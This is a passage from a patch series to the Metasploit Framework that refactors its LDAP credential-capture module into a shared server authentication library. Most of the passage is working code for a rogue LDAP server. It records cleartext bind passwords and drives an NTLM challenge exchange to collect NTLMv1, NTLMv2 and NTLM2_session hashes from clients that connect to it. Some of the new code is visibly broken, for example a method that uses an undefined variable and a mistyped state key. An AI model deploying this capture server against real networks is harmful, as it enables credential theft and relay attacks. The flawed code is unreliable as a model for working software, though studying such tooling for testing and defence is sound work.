"#{client.peerhost}:#{client.peerport}", ip: client.peerhost, - port: client.peerport + port: client.peerport, + service_name: 'ldap' } data.extend(Net::BER::Extensions::String) @@ -121,26 +137,86 @@ class MetasploitModule < Msf::Auxiliary state[client][:domain] = nil result_code = Net::LDAP::ResultCodeInvalidCredentials end + state[client][:private] = user_login.authentication + state[client][:private_type] = :password + unless state[client][:user].empty? && state[client][:private].empty? + report_cred(state[client]) + end + result_message = "LDAP Login Attempt => From:#{state[client][:name]} Username:#{state[client][:user]} Password:#{state[client][:pass]}" + result_message += " Domain:#{state[client][:domain]}" if state[client][:domain] + print_good(result_message) + elsif user_login.authentication[0] == 'GSS-SPNEGO' + if user_login.authentication[1] =~ /NTLMSSP/ + message = user_login.authentication[1] + + if message[8, 1] == "\x01" + domain = datastore['Domain'] + server = datastore['Server'] # parse the domain and everythingfrom the type 1 received + dnsname = datastore['DnsName'] + dnsdomain = datastore['DnsDomain'] + dom, ws = parse_type1_domain(message) + if dom + domain = dom + end + if ws + server = ws + end + mess1 = Rex::Text.encode_base64(message) + hsh = MESSAGE.process_type1_message(mess1, @challenge, domain, server, dnsname, dnsdomain) + chalhash = Rex::Text.decode_base64(hsh) + response = encode_ldapsasl_response( + pdu.message_id, + Net::LDAP::ResultCodeSaslBindInProgress, + '', + '', + chalhash, + Net::LDAP::PDU::BindResult + ) + on_send_response(client, response) + return + elsif message[8, 1] == "\x03" + arg = {} + mess2 = Rex::Text.encode_base64(message) + domain, user, host, lm_hash, ntlm_hash = MESSAGE.process_type3_message(mess2) + nt_len = ntlm_hash.length + + if nt_len == 48 # lmv1/ntlmv1 or ntlm2_session + arg = { + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, + lm_hash: lm_hash, + nt_hash: ntlm_hash + } + + if arg[:lm_hash][16, 32] == '0' * 32 + arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE + end + elsif nt_len > 48 # lmv2/ntlmv2 + arg = { + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, + lm_hash: lm_hash[0, 32], + lm_cli_challenge: lm_hash[32, 16], + nt_hash: ntlm_hash[0, 32], + nt_cli_challenge: ntlm_hash[32, nt_len - 32] + } + elsif nt_len == 0 + print_status("Empty hash from #{host} captured, ignoring ... ") + else + print_status("Unknown hash type from #{host}, ignoring ...") + end + unless arg.nil? + arg[:user] = user + arg[:domain] = domain + arg = arg.merge(state[client]) + arg = process_ntlm_hash(arg) + report_cred(arg) + end + result_code = Net::LDAP::ResultCodeAuthMethodNotSupported if result_code.nil? + end + end else state[client][:user] = '' state[client][:domain] = nil end - - state[client][:pass] = user_login.authentication - - unless state[client][:user].empty? && state[client][:pass].empty? - report_cred( - ip: state[client][:ip], - port: client.localport, - service_name: 'ldap', - user: state[client][:user], - password: state[client][:pass], - domain: state[client][:domain] - ) - end - result_message = "LDAP Login Attempt => From:#{state[client][:name]} Username:#{state[client][:user]} Password:#{state[client][:pass]}" - result_message += " Domain:#{state[client][:domain]}" if state[client][:domain] - print_good(result_message) result_code = Net::LDAP::ResultCodeAuthMethodNotSupported if result_code.nil? service.encode_ldap_response( pdu.message_id, @@ -191,6 +267,122 @@ class MetasploitModule < Msf::Auxiliary end end + def process_ntlm_hash(arg = {}) + ntlm_ver = arg[:ntlm_ver] + lm_hash = arg[:lm_hash] + nt_hash = arg[:nt_hash] + unless ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE || ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE + lm_cli_challenge = arg[:lm_cli_challenge] + nt_cli_challenge = arg[:nt_cli_challenge] + end + domain = Rex::Text.to_ascii(arg[:domain]) + user = Rex::Text.to_ascii(arg[:user]) + host = arg[:name] + + captured_time = Time.now.to_s + case ntlm_ver + when NTLM_CONST::NTLM_V1_RESPONSE + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), + srv_challenge: @challenge, + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, + type: 'ntlm' + }) + print_status('NLMv1 Hash correspond to an empty password, ignoring ... ') + return + end + if lm_hash == nt_hash || lm_hash == '' || lm_hash =~ /^0*$/ + lm_hash_message = 'Disabled' + elsif NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [lm_hash].pack('H*'), + srv_challenge: @challenge, + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, + type: 'lm' + }) + lm_hash_message = 'Disabled (from empty password)' + else + lm_hash_message = lm_hash + end + + capture_message = + "#{captured_time}\nLDAP Login Attempt(NTLMv1 Response) => From #{host} \n" \ + "USER: #{user} \tLMHASH:#{lm_hash_message || ''} \tNTHASH:#{nt_hash || ''}\n" + capture_message += " Domain:#{domain}" if domain + hash = [ + lm_hash || '0' * 48, + nt_hash || '0' * 48 + ].join(':').gsub(/\n/, '\\n') + arg[:private] = hash + when NTLM_CONST::NTLM_V2_RESPONSE + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), + srv_challenge: @challenge, + cli_challenge: [nt_cli_challenge].pack('H*'), + user: user, + domain: domain, + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, + type: 'ntlm' + }) + print_status('NTLMv2 Hash correspond to an empty password, ignoring ... ') + return + end + if (lm_hash == '0' * 32) && (lm_cli_challenge == '0' * 16) + lm_hash_message = 'Disabled' + elsif NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [lm_hash].pack('H*'), + srv_challenge: @challenge, + cli_challenge: [lm_cli_challenge].pack('H*'), + user: user, + domain: domain, + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, + type: 'lm' + }) + lm_hash_message = 'Disabled (from empty password)' + else + lm_hash_message = lm_hash + end + + capture_message = + "#{captured_time}\nLDAP Login Attempt(NTLMv2 Response) => From #{host} \n" \ + "USER: #{user} \tLMHASH:#{lm_hash_message || ''}\tNTHASH:#{nt_hash || ''} " + capture_message += " DOMAIN: #{domain}" if domain + hash = [ + lm_hash || '0' * 32, + nt_hash || '0' * 32 + ].join(':').gsub(/\n/, '\\n') + arg[:private] = hash + when NTLM_CONST::NTLM_2_SESSION_RESPONSE + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), + srv_challenge: @challenge, + cli_challenge: [lm_hash].pack('H*')[0, 8], + ntlm_ver: NTLM_CONST::NTLM_2_SESSION_RESPONSE, + type: 'ntlm' + }) + print_status('NTLM2_session Hash correspond to an empty password, ignoring ... ') + return + end + + capture_message = + "#{captured_time}\nLDAP Login Attempt(NTLM2_SESSION Response) => From #{host} \n" \ + "USER: #{user} \tNTHASH:#{nt_hash || ''}\n" + capture_message += " DOMAIN: #{domain}" if domain + hash = [ + lm_hash || '0' * 48, + nt_hash || '0' * 48 + ].join(':').gsub(/\n/, '\\n') + arg[:private] = hash + else + return + end + + print_good(capture_message) + arg[:domain] = domain + arg[:user] = user + arg[:private_type] = :ntlm_hash + arg + end + def report_cred(opts) service_data = { address: opts[:ip], @@ -204,8 +396,8 @@ class MetasploitModule < Msf::Auxiliary origin_type: :service, module_fullname: fullname, username: opts[:user], - private_data: opts[:password], - private_type: :password + private_data: opts[:private], + private_type: opts[:private_type] }.merge(service_data) if opts[:domain] @@ -258,6 +450,38 @@ class MetasploitModule < Msf::Auxiliary end end + def encode_ldapsasl_response(msgid, code, dn, msg, creds, tag) + [ + msgid.to_ber, + [ + code.to_ber_enumerated, + dn.to_ber, + msg.to_ber, + [creds.to_ber].to_ber_contextspecific(7) + ].to_ber_appsequence(tag) + ].to_ber_sequence + end + + def parse_type1_domain(message) + domain = nil + workstation = nil + + reqflags = message[12, 4] + reqflags = reqflags.unpack('V').first + + if (reqflags & NTLM_CONST::NEGOTIATE_DOMAIN) == NTLM_CONST::NEGOTIATE_DOMAIN + dom_len = message[16, 2].unpack('v')[0].to_i + dom_off = message[20, 2].unpack('v')[0].to_i + domain = message[dom_off, dom_len].to_s + end + if (reqflags & NTLM_CONST::NEGOTIATE_WORKSTATION) == NTLM_CONST::NEGOTIATE_WORKSTATION + wor_len = message[24, 2].unpack('v')[0].to_i + wor_off = message[28, 2].unpack('v')[0].to_i + workstation = message[wor_off, wor_len].to_s + end + [domain, workstation] + end + def suitable_response(request) responses = { Net::LDAP::PDU::BindRequest => Net::LDAP::PDU::BindResult, From 1a3b00e593a63aaded9984e0c39315836cc3f83e Mon Sep 17 00:00:00 2001 From: Nishant Desai Date: Wed, 27 Sep 2023 12:04:27 +0000 Subject: [PATCH 07/21] shifting-appropriate-methods-to-auth-lib --- lib/msf/core/exploit/remote/ldap/server.rb | 1 + lib/rex/proto/ldap/server/auth.rb | 352 ++++++++++++++++++++ modules/auxiliary/server/capture/ldap.rb | 358 ++------------------- 3 files changed, 378 insertions(+), 333 deletions(-) create mode 100644 lib/rex/proto/ldap/server/auth.rb diff --git a/lib/msf/core/exploit/remote/ldap/server.rb b/lib/msf/core/exploit/remote/ldap/server.rb index cd368c6fed..683fa0cab1 100644 --- a/lib/msf/core/exploit/remote/ldap/server.rb +++ b/lib/msf/core/exploit/remote/ldap/server.rb @@ -9,6 +9,7 @@ module Msf module Exploit::Remote::LDAP module Server include Exploit::Remote::SocketServer + include Rex::Proto::LDAP::Server::Auth # # Initializes an exploit module that serves LDAP requests diff --git a/lib/rex/proto/ldap/server/auth.rb b/lib/rex/proto/ldap/server/auth.rb new file mode 100644 index 0000000000..39d50d995a --- /dev/null +++ b/lib/rex/proto/ldap/server/auth.rb @@ -0,0 +1,352 @@ +require 'net/ldap' +require 'net/ldap/dn' + +module Rex + module Proto + module LDAP + module Server + class Auth + NTLM_CONST = Rex::Proto::NTLM::Constants + NTLM_CRYPT = Rex::Proto::NTLM::Crypt + MESSAGE = Rex::Proto::NTLM::Message + + def process_login_request(user_login) + auth_info = {} + + if user_login.name.empty? && user_login.authentication.empty? # Anonymous + auth_info = handle_anonymous_request(user_login, auth_info) + elsif !user_login.name.empty? # Simple + auth_info = handle_simple_request(user_login, auth_info) + elsif user_login.authentication[0] == 'GSS-SPNEGO' # SASL especially SPNEGO + auth_info = handle_sasl_request(user_login, auth_info) + else + auth_info[:result_code] = Net::LDAP::ResultCodeUnwillingToPerform + end + + auth_info + end + + def handle_anonymous_request(user_login, auth_info = {}) + if user_login.name.empty? && user_login.authentication.empty? + auth_info[:user] = user_login.name + auth_info[:pass] = user_login.authentication + auth_info[:domain] = nil + auth_info[:result_code] = Net::LDAP::ResultCodeSuccess + auth_info[:auth_type] = 'Anonymous' + + auth_info # think about the else ccondition + end + end + + def handle_simple_request(user_login, auth_info = {}) + domains = [] + names = [] + if !user_login.name.empty? + if user_login.name =~ /@/ + pub_info = user_login.name.split('@') + if pub_info.length <= 2 + auth_info[:user], auth_info[:domain] = pub_info + else + auth_info[:result_code] = Net::LDAP::ResultCodeInvalidCredentials + auth_info[:result_message] = "LDAP Login Attempt => From:#{auth_info[:name]} DN:#{user_login.name}" + end + elsif user_login.name =~ /,/ + begin + dn = Net::LDAP::DN.new(user_login.name) + dn.each_pair do |key, value| + if key == 'cn' + names << value + elsif key == 'dc' + domains << value + end + end + auth_info[:user] = names.first + auth_info[:domain] = domains.empty? ? nil : domains.join('.') + rescue InvalidDNError => e + auth_info[:result_message] = "LDAP Login Attempt => From:#{auth_info[:name]} DN:#{user_login.name}" + raise e + end + elsif user_login.name =~ /\\/ + pub_info = user_login.name.split('\\') + if pub_info.length <= 2 + auth_info[:domain], auth_info[:user] = pub_info + else + auth_info[:result_code] = Net::LDAP::ResultCodeInvalidCredentials + auth_info[:result_message] = "LDAP Login Attempt => From:#{auth_info[:name]} DN:#{user_login.name}" + end + else + auth_info[:user] = user_login.name + auth_info[:domain] = nil + auth_info[:result_code] = Net::LDAP::ResultCodeInvalidCredentials + end + auth_info[:private] = user_login.authentication + auth_info[:private_type] = :password + auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported if auth_info[:result_code].nil? + auth_info[:auth_info] = 'Simple' + auth_info + end + end + + def handle_sasl_request(user_login, auth_info = {}) + if user_login.authentication[1] =~ /NTLMSSP/ + message = user_login.authentication[1] + + if message[8, 1] == "\x01" + auth_info[:ntlm_t2] = generate_type2_response + auth_info[:result_code] = Net::LDAP::ResultCodeSaslBindInProgress + elsif message[8, 1] == "\x03" + auth_info = handle_type3_message(message, auth_info) + auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported + end + end + auth_info[:auth_type] = 'SASL' + auth_info + end + + def generate_type2_response + domain = datastore['Domain'] + server = datastore['Server'] # parse the domain and everythingfrom the type 1 received + dnsname = datastore['DnsName'] + dnsdomain = datastore['DnsDomain'] + challenge = [ datastore['CHALLENGE'] ].pack('H*') + dom, ws = parse_type1_domain(message) + if dom + domain = dom + end + if ws + server = ws + end + mess1 = Rex::Text.encode_base64(message) + hsh = MESSAGE.process_type1_message(mess1, @challenge, domain, server, dnsname, dnsdomain) + chalhash = Rex::Text.decode_base64(hsh) + chalhash + end + + def handle_type3_message(message, auth_info = {}) + arg = {} + mess2 = Rex::Text.encode_base64(message) + domain, user, host, lm_hash, ntlm_hash = MESSAGE.process_type3_message(mess2) + nt_len = ntlm_hash.length + + if nt_len == 48 # lmv1/ntlmv1 or ntlm2_session + arg = { + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, + lm_hash: lm_hash, + nt_hash: ntlm_hash + } + + if arg[:lm_hash][16, 32] == '0' * 32 + arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE + end + elsif nt_len > 48 # lmv2/ntlmv2 + arg = { + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, + lm_hash: lm_hash[0, 32], + lm_cli_challenge: lm_hash[32, 16], + nt_hash: ntlm_hash[0, 32], + nt_cli_challenge: ntlm_hash[32, nt_len - 32] + } + elsif nt_len == 0 + auth_info[:error_msg] = "Empty hash from #{host} captured, ignoring ... " + else + auth_info[:error_msg] = "Unknown hash type from #{host}, ignoring ..." + end + unless arg.nil? + arg[:user] = user + arg[:domain] = domain + arg[:host] = host + arg = process_ntlm_hash(arg) + auth_info = auth_info.merge(arg) + end + auth_info + end + + + def process_ntlm_hash(arg = {}) + ntlm_ver = arg[:ntlm_ver] + lm_hash = arg[:lm_hash] + nt_hash = arg[:nt_hash] + unless ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE || ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE + lm_cli_challenge = arg[:lm_cli_challenge] + nt_cli_challenge = arg[:nt_cli_challenge] + end + domain = Rex::Text.to_ascii(arg[:domain]) + user = Rex::Text.to_ascii(arg[:user]) + host = arg[:host] + challenge = [datastore['CHALLENGE'].pack('H*')] + + case ntlm_ver + when NTLM_CONST::NTLM_V1_RESPONSE + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), + srv_challenge: challenge, + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, + type: 'ntlm' + }) + arg[:error_msg] = 'NLMv1 Hash correspond to an empty password, ignoring ... ' + return + end + if lm_hash == nt_hash || lm_hash == '' || lm_hash =~ /^0*$/ + lm_hash_message = 'Disabled' + elsif NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [lm_hash].pack('H*'), + srv_challenge: challenge, + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, + type: 'lm' + }) + lm_hash_message = 'Disabled (from empty password)' + else + lm_hash_message = lm_hash + end + + hash = [ + lm_hash || '0' * 48, + nt_hash || '0' * 48 + ].join(':').gsub(/\n/, '\\n') + arg[:private] = hash + when NTLM_CONST::NTLM_V2_RESPONSE + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), + srv_challenge: challenge, + cli_challenge: [nt_cli_challenge].pack('H*'), + user: user, + domain: domain, + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, + type: 'ntlm' + }) + arg[:error_msg] = 'NTLMv2 Hash correspond to an empty password, ignoring ... ' + return + end + if (lm_hash == '0' * 32) && (lm_cli_challenge == '0' * 16) + lm_hash_message = 'Disabled' + elsif NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [lm_hash].pack('H*'), + srv_challenge: challenge, + cli_challenge: [lm_cli_challenge].pack('H*'), + user: user, + domain: domain, + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, + type: 'lm' + }) + lm_hash_message = 'Disabled (from empty password)' + else + lm_hash_message = lm_hash + end + + hash = [ + lm_hash || '0' * 32, + nt_hash || '0' * 32 + ].join(':').gsub(/\n/, '\\n') + arg[:private] = hash + when NTLM_CONST::NTLM_2_SESSION_RESPONSE + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), + srv_challenge: challenge, + cli_challenge: [lm_hash].pack('H*')[0, 8], + ntlm_ver: NTLM_CONST::NTLM_2_SESSION_RESPONSE, + type: 'ntlm' + }) + arg[:error_msg] = 'NTLM2_session Hash correspond to an empty password, ignoring ... ' + return + end + + hash = [ + lm_hash || '0' * 48, + nt_hash || '0' * 48 + ].join(':').gsub(/\n/, '\\n') + arg[:private] = hash + else + return + end + arg[:domain] = domain + arg[:user] = user + arg[:private_type] = :ntlm_hash + arg + end + + def search_res(filter, msgid, attrflt = :all) + if @ldif.nil? || @ldif.empty? + attrs = [] + if attrflt.is_a?(Array) + attrflt.each do |at| + attrval = [Rex::Text.rand_text_alphanumeric(10)].map(&:to_ber).to_ber_set + attrs << [at.to_ber, attrval].to_ber_sequence + end + dn = "dc=#{Rex::Text.rand_text_alphanumeric(10)},dc=#{Rex::Text.rand_text_alpha(4)}" + appseq = [ + dn.to_ber, + attrs.to_ber_sequence + ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData) + [msgid.to_ber, appseq].to_ber_sequence + end + else + ldif.map do |bind_dn, entry| + next unless filter.match(entry) + + attrs = [] + entry.each do |k, v| + if attrflt == :all || attrflt.include?(k.downcase) + attrvals = v.map(&:to_ber).to_ber_set + attrs << [k.to_ber, attrvals].to_ber_sequence + end + end + appseq = [ + bind_dn.to_ber, + attrs.to_ber_sequence + ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData) + [msgid.to_ber, appseq].to_ber_sequence + end.compact.join + end + end + + def parse_type1_domain(message) + domain = nil + workstation = nil + + reqflags = message[12, 4] + reqflags = reqflags.unpack('V').first + + if (reqflags & NTLM_CONST::NEGOTIATE_DOMAIN) == NTLM_CONST::NEGOTIATE_DOMAIN + dom_len = message[16, 2].unpack('v')[0].to_i + dom_off = message[20, 2].unpack('v')[0].to_i + domain = message[dom_off, dom_len].to_s + end + if (reqflags & NTLM_CONST::NEGOTIATE_WORKSTATION) == NTLM_CONST::NEGOTIATE_WORKSTATION + wor_len = message[24, 2].unpack('v')[0].to_i + wor_off = message[28, 2].unpack('v')[0].to_i + workstation = message[wor_off, wor_len].to_s + end + [domain, workstation] + end + + def encode_ldapsasl_response(msgid, code, dn, msg, creds, tag) + [ + msgid.to_ber, + [ + code.to_ber_enumerated, + dn.to_ber, + msg.to_ber, + [creds.to_ber].to_ber_contextspecific(7) + ].to_ber_appsequence(tag) + ].to_ber_sequence + end + + def suitable_response(request) + responses = { + Net::LDAP::PDU::BindRequest => Net::LDAP::PDU::BindResult, + Net::LDAP::PDU::SearchRequest => Net::LDAP::PDU::SearchResult, + Net::LDAP::PDU::ModifyRequest => Net::LDAP::PDU::ModifyResponse, + Net::LDAP::PDU::AddRequest => Net::LDAP::PDU::AddResponse, + Net::LDAP::PDU::DeleteRequest => Net::LDAP::PDU::DeleteResponse, + Net::LDAP::PDU::ModifyRDNRequest => Net::LDAP::PDU::ModifyRDNResponse, + Net::LDAP::PDU::CompareRequest => Net::LDAP::PDU::CompareResponse, + Net::LDAP::PDU::ExtendedRequest => Net::LDAP::PDU::ExtendedResponse + } + + responses[request] + end + end + end + end + end +end \ No newline at end of file diff --git a/modules/auxiliary/server/capture/ldap.rb b/modules/auxiliary/server/capture/ldap.rb index fba304fd39..34e5a98503 100644 --- a/modules/auxiliary/server/capture/ldap.rb +++ b/modules/auxiliary/server/capture/ldap.rb @@ -2,12 +2,6 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'net/ldap' -require 'net/ldap/dn' -NTLM_CONST = Rex::Proto::NTLM::Constants -NTLM_CRYPT = Rex::Proto::NTLM::Crypt -MESSAGE = Rex::Proto::NTLM::Message - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::LDAP::Server @@ -59,13 +53,14 @@ class MetasploitModule < Msf::Auxiliary end def run - if datastore['CHALLENGE'].to_s =~ /^([a-zA-Z0-9]{16})$/ - @challenge = [ datastore['CHALLENGE'] ].pack('H*') - else - print_error('CHALLENGE syntax must match 1122334455667788') # generate a random by module + unless datastore['CHALLENGE'].to_s =~ /^([a-zA-Z0-9]{16})$/ + print_error('CHALLENGE syntax must match 1122334455667788') return end - exploit + start_service + service.wait + rescue Rex::BindFailed => e + print_error "Failed to bind to port #{datastore['SRVPORT']}: #{e.message}" end def on_dispatch_request(client, data) @@ -87,142 +82,37 @@ class MetasploitModule < Msf::Auxiliary res = case pdu.app_tag when Net::LDAP::PDU::BindRequest - domains = [] - names = [] - result_code = nil + result_message = "" user_login = pdu.bind_parameters - - if user_login.name.empty? && user_login.authentication.empty? - state[client][:user] = user_login.name - state[client][:pass] = user_login.authentication - state[client][:domain] = nil - result_code = Net::LDAP::ResultCodeSuccess - elsif !user_login.name.empty? - if user_login.name =~ /@/ - pub_info = user_login.name.split('@') - if pub_info.length <= 2 - state[client][:user] = pub_info[0] - state[client][:domain] = pub_info[1] - else - result_code = Net::LDAP::ResultCodeInvalidCredentials - print_error("LDAP Login Attempt => From:#{state[client][:name]} DN:#{user_login.name}") - end - elsif user_login.name =~ /,/ - begin - dn = Net::LDAP::DN.new(user_login.name) - dn.each_pair do |key, value| - if key == 'cn' - names << value - elsif key == 'dc' - domains << value - end - end - state[client][:user] = names.first - state[client][:domain] = domains.empty? ? nil : domains.join('.') - rescue InvalidDNError => e - print_error("LDAP Login Attempt => From:#{state[client][:name]} DN:#{user_login.name}") - raise e - end - elsif user_login.name =~ /\\/ - pub_info = user_login.name.split('\\') - if pub_info.length <= 2 - state[client][:user] = pub_info[1] - state[client][:domain] = pub_info[0] - else - result_code = Net::LDAP::ResultCodeInvalidCredentials - print_error("LDAP Login Attempt => From:#{state[client][:name]} DN:#{user_login.name}") - end - else - state[client][:user] = user_login.name - state[client][:domain] = nil - result_code = Net::LDAP::ResultCodeInvalidCredentials - end - state[client][:private] = user_login.authentication - state[client][:private_type] = :password - unless state[client][:user].empty? && state[client][:private].empty? - report_cred(state[client]) - end - result_message = "LDAP Login Attempt => From:#{state[client][:name]} Username:#{state[client][:user]} Password:#{state[client][:pass]}" - result_message += " Domain:#{state[client][:domain]}" if state[client][:domain] - print_good(result_message) - elsif user_login.authentication[0] == 'GSS-SPNEGO' - if user_login.authentication[1] =~ /NTLMSSP/ - message = user_login.authentication[1] - - if message[8, 1] == "\x01" - domain = datastore['Domain'] - server = datastore['Server'] # parse the domain and everythingfrom the type 1 received - dnsname = datastore['DnsName'] - dnsdomain = datastore['DnsDomain'] - dom, ws = parse_type1_domain(message) - if dom - domain = dom - end - if ws - server = ws - end - mess1 = Rex::Text.encode_base64(message) - hsh = MESSAGE.process_type1_message(mess1, @challenge, domain, server, dnsname, dnsdomain) - chalhash = Rex::Text.decode_base64(hsh) - response = encode_ldapsasl_response( + + auth_info = process_login_request(user_login) + auth_info = auth_info.merge(state[:client]) + if auth_info[:error_msg] + print_error(auth_info[:error_msg]) + else + if user_login.authentication[1] =~ /NTLMSSP/ && auth_info[:ntlm_t2] + response = encode_ldapsasl_response( pdu.message_id, Net::LDAP::ResultCodeSaslBindInProgress, '', '', - chalhash, + auth_info[:ntlm_t2], Net::LDAP::PDU::BindResult ) - on_send_response(client, response) - return - elsif message[8, 1] == "\x03" - arg = {} - mess2 = Rex::Text.encode_base64(message) - domain, user, host, lm_hash, ntlm_hash = MESSAGE.process_type3_message(mess2) - nt_len = ntlm_hash.length - - if nt_len == 48 # lmv1/ntlmv1 or ntlm2_session - arg = { - ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, - lm_hash: lm_hash, - nt_hash: ntlm_hash - } - - if arg[:lm_hash][16, 32] == '0' * 32 - arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE - end - elsif nt_len > 48 # lmv2/ntlmv2 - arg = { - ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, - lm_hash: lm_hash[0, 32], - lm_cli_challenge: lm_hash[32, 16], - nt_hash: ntlm_hash[0, 32], - nt_cli_challenge: ntlm_hash[32, nt_len - 32] - } - elsif nt_len == 0 - print_status("Empty hash from #{host} captured, ignoring ... ") - else - print_status("Unknown hash type from #{host}, ignoring ...") - end - unless arg.nil? - arg[:user] = user - arg[:domain] = domain - arg = arg.merge(state[client]) - arg = process_ntlm_hash(arg) - report_cred(arg) - end - result_code = Net::LDAP::ResultCodeAuthMethodNotSupported if result_code.nil? - end + on_send_response(client, response) + return + else + result_message = "LDAP Login Attempt => From:#{auth_info[:name]} Username:#{auth_info[:user]} Password:#{auth_info[:private]}" + result_message += " Domain:#{auth_info[:domain]}" if auth_info[:domain] + print_good(result_message) + report_cred(auth_info) end - else - state[client][:user] = '' - state[client][:domain] = nil end - result_code = Net::LDAP::ResultCodeAuthMethodNotSupported if result_code.nil? service.encode_ldap_response( pdu.message_id, - result_code, + auth_info[:result_code], '', - Net::LDAP::ResultStrings[result_code], + Net::LDAP::ResultStrings[auth_info[:result_code]], Net::LDAP::PDU::BindResult ) when Net::LDAP::PDU::SearchRequest @@ -267,122 +157,6 @@ class MetasploitModule < Msf::Auxiliary end end - def process_ntlm_hash(arg = {}) - ntlm_ver = arg[:ntlm_ver] - lm_hash = arg[:lm_hash] - nt_hash = arg[:nt_hash] - unless ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE || ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE - lm_cli_challenge = arg[:lm_cli_challenge] - nt_cli_challenge = arg[:nt_cli_challenge] - end - domain = Rex::Text.to_ascii(arg[:domain]) - user = Rex::Text.to_ascii(arg[:user]) - host = arg[:name] - - captured_time = Time.now.to_s - case ntlm_ver - when NTLM_CONST::NTLM_V1_RESPONSE - if NTLM_CRYPT.is_hash_from_empty_pwd?({ - hash: [nt_hash].pack('H*'), - srv_challenge: @challenge, - ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, - type: 'ntlm' - }) - print_status('NLMv1 Hash correspond to an empty password, ignoring ... ') - return - end - if lm_hash == nt_hash || lm_hash == '' || lm_hash =~ /^0*$/ - lm_hash_message = 'Disabled' - elsif NTLM_CRYPT.is_hash_from_empty_pwd?({ - hash: [lm_hash].pack('H*'), - srv_challenge: @challenge, - ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, - type: 'lm' - }) - lm_hash_message = 'Disabled (from empty password)' - else - lm_hash_message = lm_hash - end - - capture_message = - "#{captured_time}\nLDAP Login Attempt(NTLMv1 Response) => From #{host} \n" \ - "USER: #{user} \tLMHASH:#{lm_hash_message || ''} \tNTHASH:#{nt_hash || ''}\n" - capture_message += " Domain:#{domain}" if domain - hash = [ - lm_hash || '0' * 48, - nt_hash || '0' * 48 - ].join(':').gsub(/\n/, '\\n') - arg[:private] = hash - when NTLM_CONST::NTLM_V2_RESPONSE - if NTLM_CRYPT.is_hash_from_empty_pwd?({ - hash: [nt_hash].pack('H*'), - srv_challenge: @challenge, - cli_challenge: [nt_cli_challenge].pack('H*'), - user: user, - domain: domain, - ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, - type: 'ntlm' - }) - print_status('NTLMv2 Hash correspond to an empty password, ignoring ... ') - return - end - if (lm_hash == '0' * 32) && (lm_cli_challenge == '0' * 16) - lm_hash_message = 'Disabled' - elsif NTLM_CRYPT.is_hash_from_empty_pwd?({ - hash: [lm_hash].pack('H*'), - srv_challenge: @challenge, - cli_challenge: [lm_cli_challenge].pack('H*'), - user: user, - domain: domain, - ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, - type: 'lm' - }) - lm_hash_message = 'Disabled (from empty password)' - else - lm_hash_message = lm_hash - end - - capture_message = - "#{captured_time}\nLDAP Login Attempt(NTLMv2 Response) => From #{host} \n" \ - "USER: #{user} \tLMHASH:#{lm_hash_message || ''}\tNTHASH:#{nt_hash || ''} " - capture_message += " DOMAIN: #{domain}" if domain - hash = [ - lm_hash || '0' * 32, - nt_hash || '0' * 32 - ].join(':').gsub(/\n/, '\\n') - arg[:private] = hash - when NTLM_CONST::NTLM_2_SESSION_RESPONSE - if NTLM_CRYPT.is_hash_from_empty_pwd?({ - hash: [nt_hash].pack('H*'), - srv_challenge: @challenge, - cli_challenge: [lm_hash].pack('H*')[0, 8], - ntlm_ver: NTLM_CONST::NTLM_2_SESSION_RESPONSE, - type: 'ntlm' - }) - print_status('NTLM2_session Hash correspond to an empty password, ignoring ... ') - return - end - - capture_message = - "#{captured_time}\nLDAP Login Attempt(NTLM2_SESSION Response) => From #{host} \n" \ - "USER: #{user} \tNTHASH:#{nt_hash || ''}\n" - capture_message += " DOMAIN: #{domain}" if domain - hash = [ - lm_hash || '0' * 48, - nt_hash || '0' * 48 - ].join(':').gsub(/\n/, '\\n') - arg[:private] = hash - else - return - end - - print_good(capture_message) - arg[:domain] = domain - arg[:user] = user - arg[:private_type] = :ntlm_hash - arg - end - def report_cred(opts) service_data = { address: opts[:ip], @@ -414,86 +188,4 @@ 